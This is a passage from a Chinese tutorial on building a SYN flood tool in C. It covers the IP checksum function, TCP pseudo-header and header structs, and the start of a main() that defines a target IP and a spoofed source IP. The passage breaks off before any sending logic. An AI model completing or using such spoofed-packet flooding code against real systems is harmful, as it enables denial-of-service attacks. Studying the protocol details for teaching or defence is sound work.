这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:
USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。
由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。
struct //定义TCP伪首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 } psd_header;
typedef struct _tcphdr //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres;//4位首部长度/6位保留字 unsigned char th_flag;//6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 } TCP_HEADER;
在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。
#include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define SEQ 0x28376839 #define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP #define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP #define STATUS_FAILED 0xFFFF//错误返回值 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]; // 每个数据包是128个字节 char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP memset(DestIP, 0, 4);
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